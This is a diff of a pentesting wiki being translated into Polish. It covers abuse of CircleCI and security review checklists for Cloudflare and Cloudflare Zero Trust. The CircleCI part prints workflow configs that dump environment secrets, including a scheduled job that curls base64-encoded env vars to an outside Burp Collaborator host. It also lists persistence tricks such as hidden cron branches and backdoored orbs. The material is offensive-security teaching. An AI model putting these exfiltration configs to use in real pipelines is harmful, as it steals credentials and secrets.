and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> [!OSTRZEŻENIE] +> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**. +Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### Ekstrahować sekrety kontekstu -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +Musisz **określić nazwę kontekstu** (to również ekstrahuje sekrety projektu): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety do zewnętrznego adresu**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Po prostu stworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**. -#### Escape to Cloud +#### Ucieczka do Chmury -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI** daje ci możliwość uruchamiania **twoich budów na ich maszynach lub na własnych**.\ +Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak, jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**. +Zauważ, że w poprzednich przykładach wszystko uruchamiano wewnątrz kontenera docker, ale możesz również **poprosić o uruchomienie maszyny wirtualnej** (która może mieć różne uprawnienia chmurowe): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +Lub nawet kontener docker z dostępem do zdalnej usługi docker: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` - #### Persistence -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- Możliwe jest **tworzenie** **tokenów użytkowników w CircleCI** do uzyskania dostępu do punktów końcowych API z dostępem użytkowników. +- _https://app.circleci.com/settings/user/tokens_ +- Możliwe jest **tworzenie tokenów projektów** do uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- Możliwe jest **dodawanie kluczy SSH** do projektów. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w niespodziewanym projekcie, który **przecieka** wszystkie **zmienne środowiskowe kontekstu** codziennie. +- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **przeciekać** wszystkie sekrety **projektów** codziennie. +- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezaufane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**. +- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..e1c023e95 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +W koncie Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
## Websites -Review each with: +Przejrzyj każde z: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości przeniesienia żadnej domeny. -Review each with: +Przejrzyj każde z: {{#ref}} cloudflare-domains.md @@ -26,39 +26,39 @@ cloudflare-domains.md ## Analytics -_I couldn't find anything to check for a config security review._ +_Nie mogłem znaleźć nic do sprawdzenia w celu przeglądu bezpieczeństwa konfiguracji._ ## Pages -On each Cloudflare's page: +Na każdej stronie Cloudflare: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**. +- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron. +- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na [**stronie bezpieczeństwa Github**](../github-security/). +- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje). +- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**. +- [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**. +- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę. ## **Workers** -On each Cloudflare's worker check: +Na każdym workerze Cloudflare sprawdź: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Wyzwalacze: Co powoduje wyzwolenie workera? Czy **użytkownik może wysłać dane**, które będą **używane** przez workera? +- [ ] W **`Settings`**, sprawdź **`Variables`** zawierające **wrażliwe informacje**. +- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi). +- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować. +- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg. +- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można by to wykorzystać z danych wejściowych użytkownika. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `..workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz. ## R2 -On each R2 bucket check: +Na każdym buckecie R2 sprawdź: -- [ ] Configure **CORS Policy**. +- [ ] Skonfiguruj **CORS Policy**. ## Stream @@ -70,8 +70,8 @@ TODO ## Security Center -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Jeśli to możliwe, uruchom **`Security Insights`** **skan** oraz **`Infrastructure`** **skan**, ponieważ **podkreślą** interesujące informacje **z punktu widzenia bezpieczeństwa**. +- [ ] Po prostu **sprawdź te informacje** pod kątem błędów w konfiguracji bezpieczeństwa i interesujących informacji. ## Turnstile @@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują **żadnych operacji zastępowania ciągów** ani wyrażeń regularnych. Możesz jednak skonfigurować parametry przekierowania URL, które wpływają na ich zachowanie w zakresie dopasowywania URL i ich zachowanie w czasie wykonywania. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla przekierowań **mają sens**. +- [ ] Sprawdź również **wrażliwe ukryte punkty końcowe**, które zawierają interesujące informacje. ## Notifications -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] Sprawdź **powiadomienia.** Te powiadomienia są zalecane dla bezpieczeństwa: +- `Usage Based Billing` +- `HTTP DDoS Attack Alert` +- `Layer 3/4 DDoS Attack Alert` +- `Advanced HTTP DDoS Attack Alert` +- `Advanced Layer 3/4 DDoS Attack Alert` +- `Flow-based Monitoring: Volumetric Attack` +- `Route Leak Detection Alert` +- `Access mTLS Certificate Expiration Alert` +- `SSL for SaaS Custom Hostnames Alert` +- `Universal SSL Alert` +- `Script Monitor New Code Change Detection Alert` +- `Script Monitor New Domain Alert` +- `Script Monitor New Malicious Domain Alert` +- `Script Monitor New Malicious Script Alert` +- `Script Monitor New Malicious URL Alert` +- `Script Monitor New Scripts Alert` +- `Script Monitor New Script Exceeds Max URL Length Alert` +- `Advanced Security Events Alert` +- `Security Events Alert` +- [ ] Sprawdź wszystkie **destynacje**, ponieważ mogą zawierać **wrażliwe informacje** (podstawowa autoryzacja http) w adresach URL webhooków. Upewnij się również, że adresy URL webhooków używają **HTTPS**. +- [ ] Jako dodatkowe sprawdzenie, możesz spróbować **podszyć się pod powiadomienie cloudflare** do osoby trzeciej, może w jakiś sposób **wstrzykniesz coś niebezpiecznego**. ## Manage Account -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**. +- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**. +- [ ] W **`Members`** możliwe jest zobaczenie wszystkich członków konta i ich **ról**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień. +- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**. +- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien to mieć włączone. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków). ## DDoS Investigation -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..e10472b9d 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
### Overview -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Uzyskaj poczucie **jak bardzo** usługi konta są **używane** +- [ ] Znajdź również **ID strefy** i **ID konta** ### Analytics -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] W **`Security`** sprawdź, czy istnieje jakiekolwiek **ograniczenie liczby połączeń** ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Sprawdź **interesujące** (wrażliwe?) dane w rekordach DNS +- [ ] Sprawdź **subdomeny**, które mogą zawierać **wrażliwe informacje** tylko na podstawie **nazwa** (jak admin173865324.domin.com) +- [ ] Sprawdź strony internetowe, które **nie są** **proxy** +- [ ] Sprawdź **proxyfikowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP +- [ ] Sprawdź, czy **DNSSEC** jest **włączony** +- [ ] Sprawdź, czy **CNAME Flattening** jest **używane** we **wszystkich CNAME** +- Może to być przydatne do **ukrycia podatności na przejęcie subdomen** i poprawy czasów ładowania +- [ ] Sprawdź, czy domeny [**nie są podatne na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) ### **Email** @@ -38,44 +38,44 @@ TODO #### **Overview** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie. +- [ ] **Rekomendator SSL/TLS** powinien być włączony #### Edge Certificates -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- [ ] **Zawsze używaj HTTPS** powinno być **włączone** +- [ ] **HTTP Strict Transport Security (HSTS)** powinno być **włączone** +- [ ] **Minimalna wersja TLS powinna wynosić 1.2** +- [ ] **TLS 1.3 powinno być włączone** +- [ ] **Automatyczne przepisywanie HTTPS** powinno być **włączone** +- [ ] **Monitorowanie przejrzystości certyfikatów** powinno być **włączone** ### **Security** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- [ ] W sekcji **`WAF`** interesujące jest sprawdzenie, czy **zasady zapory** i **ograniczenia liczby połączeń są używane** w celu zapobiegania nadużyciom. +- Akcja **`Bypass`** **wyłączy funkcje bezpieczeństwa Cloudflare** dla żądania. Nie powinna być używana. +- [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana +- [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare +- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochron DDoS** +- [ ] W sekcji **`Settings`**: +- [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy +- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę +- [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone** +- [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone** #### **CloudFlare DDoS Protection** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu. +- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, Cookie, referrera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają cookie. +- Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów. +- Jeśli atak dotyczy **konkretnej ścieżki**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce. +- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF. +- Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności. +- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.** +- W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**. +- **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**. +- W Cloudflare Domains -> Analytics -> Security -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone +- W Cloudflare Domains -> Security -> Events -> Sprawdź, czy są **wykryte złośliwe zdarzenia** ### Access @@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md ### Speed -_I couldn't find any option related to security_ +_Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_ ### Caching -- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool** +- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM** ### **Workers Routes** -_You should have already checked_ [_cloudflare workers_](./#workers) +_Już powinieneś sprawdzić_ [_cloudflare workers_](./#workers) ### Rules @@ -101,9 +101,9 @@ TODO ### Network -- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled** -- [ ] **`HTTP/3 (with QUIC)`** should be **enabled** -- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled** +- [ ] Jeśli **`HTTP/2`** jest **włączony**, **`HTTP/2 do Origin`** powinno być **włączone** +- [ ] **`HTTP/3 (z QUIC)`** powinno być **włączone** +- [ ] Jeśli **prywatność** Twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony** ### **Traffic** @@ -111,7 +111,7 @@ TODO ### Custom Pages -- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode) +- [ ] Opcjonalnie można skonfigurować niestandardowe strony, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem) ### Apps @@ -119,8 +119,8 @@ TODO ### Scrape Shield -- [ ] Check **Email Address Obfuscation** is **enabled** -- [ ] Check **Server-side Excludes** is **enabled** +- [ ] Sprawdź, czy **Obfuskacja adresu e-mail** jest **włączona** +- [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone** ### **Zaraz** @@ -131,7 +131,3 @@ TODO TODO {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index 491ae7bc1..1b585070c 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +W koncie **Cloudflare Zero Trust Network** istnieje kilka **ustawień i usług**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
### Analytics -- [ ] Useful to **get to know the environment** +- [ ] Przydatne do **poznania środowiska** ### **Gateway** -- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications. - - If used, **policies** could be created to **restrict** the access to malicious sites. - - This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies. +- [ ] W **`Policies`** można generować polityki, aby **ograniczyć** dostęp do aplikacji na podstawie **DNS**, **sieci** lub **żądania HTTP**. +- Jeśli jest używane, **polityki** mogą być tworzone w celu **ograniczenia** dostępu do złośliwych stron. +- To jest **istotne tylko, jeśli używany jest brama**, w przeciwnym razie nie ma powodu, aby tworzyć polityki obronne. ### Access #### Applications -On each application: +W każdej aplikacji: -- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access. - - To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also) -- [ ] Check the **available identity providers** and make sure they **aren't too open** -- [ ] In **`Settings`**: - - [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything) - - [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP. - - [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Sprawdź **kto** może uzyskać dostęp do aplikacji w **Policies** i upewnij się, że **tylko** **użytkownicy**, którzy **potrzebują dostępu** do aplikacji, mogą uzyskać dostęp. +- Aby umożliwić dostęp, będą używane **`Access Groups`** (można również ustawić **dodatkowe zasady**) +- [ ] Sprawdź **dostępnych dostawców tożsamości** i upewnij się, że **nie są zbyt otwarci** +- [ ] W 